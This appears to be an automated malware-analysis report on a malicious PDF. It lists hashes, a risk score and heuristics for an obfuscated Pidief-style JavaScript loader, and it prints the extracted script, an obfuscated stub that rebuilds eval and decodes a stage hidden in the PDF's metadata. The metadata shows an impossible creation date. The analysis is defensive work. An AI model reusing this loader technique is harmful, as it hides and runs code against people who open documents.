Malicious PDF — malware analysis report

Static analysis result for SHA-256 44a9a0b38b753fe5…

MALICIOUS

PDF

15.9 KB Created: 2011-72-51 03:25:00 Authoring application: ring.fromCharCo First seen: 2012-09-15
MD5: 93a7ffb1733bdbb261de8c847b2ec809 SHA-1: cbe68acf6b74ae927fe44870ccf8abeba37e9b03 SHA-256: 44a9a0b38b753fe516ff420246ce5ba162b256bab846d2e7f2d196930982772a
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x3CE7 452 bytes
SHA-256: c0eb37e516c423aeaddf824de9b97ec6373e9b91b3105808e29e22f592406f85
Preview script
First 1,000 lines of the extracted script
var l = 'asd'.substr;
var g = l();
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var bnmig="";
irwrv='his';
zoc='ti';
e('qfd=t'+irwrv+"."+zoc+function(){return 'tle'}());
dtpdp='["prod';
e('erly=t'+irwrv+dtpdp+function(){return 'ucer'}()+'"]');
juc=e('St'+erly+'de');
xxib = e(qfd.replace(/k/g, ","));
e('k=xxib.length');
for (i = 0; i < k; i++) {
	acry = (i%2)?xxib[i]/5:xxib[i]/17;
	bnmig += juc(acry);
}
e(bnmig);

Open this report in the interactive analyzer, or submit your own file for analysis.